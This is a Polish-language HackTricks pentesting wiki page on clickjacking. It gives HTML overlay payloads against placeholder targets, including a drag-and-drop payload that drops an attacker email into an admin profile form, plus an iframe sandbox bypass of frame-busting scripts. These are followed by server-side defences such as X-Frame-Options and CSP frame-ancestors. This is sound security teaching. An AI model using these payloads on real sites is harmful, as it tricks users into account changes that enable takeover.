mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
191 lines
8.8 KiB
Markdown
191 lines
8.8 KiB
Markdown
# Clickjacking
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Co to jest Clickjacking
|
|
|
|
W ataku clickjacking, **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub wrażliwych informacji, przelewy pieniędzy lub zakupy produktów online.
|
|
|
|
### Sztuczka z prewypełnieniem formularzy
|
|
|
|
Czasami możliwe jest **wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony**. Atakujący może nadużyć tego zachowania, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjacking, aby użytkownik nacisnął przycisk Wyślij.
|
|
|
|
### Wypełnij formularz za pomocą Drag\&Drop
|
|
|
|
Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie jakichś konkretnych informacji (jak e-mail lub konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Podstawowy ładunek
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Wieloetapowy ładunek
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Drag\&Drop + Click ładunek
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Jeśli zidentyfikowałeś **atak XSS, który wymaga, aby użytkownik kliknął** na jakiś element, aby **wywołać** XSS, a strona jest **vulnerable to clickjacking**, możesz to wykorzystać, aby oszukać użytkownika do kliknięcia przycisku/linku.\
|
|
Przykład:\
|
|
&#xNAN;_You znalazłeś **self XSS** w niektórych prywatnych szczegółach konta (szczegóły, które **tylko ty możesz ustawić i odczytać**). Strona z **formularzem** do ustawienia tych szczegółów jest **vulnerable** na **Clickjacking** i możesz **prepopulate** **formularz** parametrami GET._\
|
|
\_\_Atakujący mógłby przygotować atak **Clickjacking** na tę stronę, **prepopulate** **formularz** ładunkiem **XSS** i **oszukać** **użytkownika** do **przesłania** formularza. Tak więc, **gdy formularz zostanie przesłany** i wartości zostaną zmodyfikowane, **użytkownik wykona XSS**.
|
|
|
|
## Strategie łagodzenia Clickjacking
|
|
|
|
### Ochrona po stronie klienta
|
|
|
|
Skrypty wykonywane po stronie klienta mogą podejmować działania, aby zapobiec Clickjacking:
|
|
|
|
- Zapewnienie, że okno aplikacji jest głównym lub górnym oknem.
|
|
- Uczynienie wszystkich ramek widocznymi.
|
|
- Zapobieganie kliknięciom w niewidoczne ramki.
|
|
- Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
|
|
|
|
Jednak te skrypty do łamania ramek mogą być obejście:
|
|
|
|
- **Ustawienia zabezpieczeń przeglądarek:** Niektóre przeglądarki mogą blokować te skrypty w zależności od ich ustawień zabezpieczeń lub braku wsparcia dla JavaScript.
|
|
- **Atrybut `sandbox` HTML5 iframe:** Atakujący może zneutralizować skrypty do łamania ramek, ustawiając atrybut `sandbox` z wartościami `allow-forms` lub `allow-scripts` bez `allow-top-navigation`. To uniemożliwia iframe weryfikację, czy jest górnym oknem, np.,
|
|
```html
|
|
<iframe
|
|
id="victim_website"
|
|
src="https://victim-website.com"
|
|
sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
Wartości `allow-forms` i `allow-scripts` umożliwiają działania w obrębie iframe, jednocześnie wyłączając nawigację na najwyższym poziomie. Aby zapewnić zamierzoną funkcjonalność docelowej witryny, mogą być konieczne dodatkowe uprawnienia, takie jak `allow-same-origin` i `allow-modals`, w zależności od typu ataku. Wiadomości w konsoli przeglądarki mogą wskazać, które uprawnienia należy zezwolić.
|
|
|
|
### Ochrona po stronie serwera
|
|
|
|
#### X-Frame-Options
|
|
|
|
Nagłówek odpowiedzi HTTP **`X-Frame-Options`** informuje przeglądarki o legalności renderowania strony w `<frame>` lub `<iframe>`, pomagając zapobiegać Clickjacking:
|
|
|
|
- `X-Frame-Options: deny` - Żaden domena nie może osadzić treści.
|
|
- `X-Frame-Options: sameorigin` - Tylko bieżąca witryna może osadzić treść.
|
|
- `X-Frame-Options: allow-from https://trusted.com` - Tylko określony 'uri' może osadzić stronę.
|
|
- Zauważ ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.
|
|
|
|
#### Dyrektywa frame-ancestors w polityce bezpieczeństwa treści (CSP)
|
|
|
|
Dyrektywa **`frame-ancestors` w CSP** jest zalecaną metodą ochrony przed Clickjacking:
|
|
|
|
- `frame-ancestors 'none'` - Podobnie jak `X-Frame-Options: deny`.
|
|
- `frame-ancestors 'self'` - Podobnie jak `X-Frame-Options: sameorigin`.
|
|
- `frame-ancestors trusted.com` - Podobnie jak `X-Frame-Options: allow-from`.
|
|
|
|
Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji frame-ancestors Mozilli](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
|
|
|
### Polityka bezpieczeństwa treści (CSP) z `child-src` i `frame-src`
|
|
|
|
**Polityka bezpieczeństwa treści (CSP)** to środek bezpieczeństwa, który pomaga zapobiegać Clickjacking i innym atakom wstrzykiwania kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie treści.
|
|
|
|
#### Dyrektywa `frame-src`
|
|
|
|
- Definiuje ważne źródła dla ramek.
|
|
- Bardziej szczegółowa niż dyrektywa `default-src`.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trusted-website.com.
|
|
|
|
#### Dyrektywa `child-src`
|
|
|
|
- Wprowadzona w CSP poziom 2, aby ustawić ważne źródła dla pracowników sieciowych i ramek.
|
|
- Działa jako zapas dla frame-src i worker-src.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
Ta polityka pozwala na ramki i pracowników z tego samego pochodzenia (self) oraz https://trusted-website.com.
|
|
|
|
**Uwagi dotyczące użytkowania:**
|
|
|
|
- Deprecjacja: child-src jest stopniowo wycofywane na rzecz frame-src i worker-src.
|
|
- Zachowanie w przypadku braku: Jeśli frame-src jest nieobecne, child-src jest używane jako zapasowe dla ramek. Jeśli oba są nieobecne, używane jest default-src.
|
|
- Ścisła definicja źródła: Uwzględnij tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu.
|
|
|
|
#### Skrypty JavaScript do łamania ramek
|
|
|
|
Chociaż nie są całkowicie niezawodne, skrypty oparte na JavaScript do łamania ramek mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location
|
|
}
|
|
```
|
|
#### Wykorzystanie tokenów Anti-CSRF
|
|
|
|
- **Walidacja tokenów:** Użyj tokenów anti-CSRF w aplikacjach internetowych, aby upewnić się, że żądania zmieniające stan są dokonywane celowo przez użytkownika, a nie przez stronę Clickjacked.
|
|
|
|
## References
|
|
|
|
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|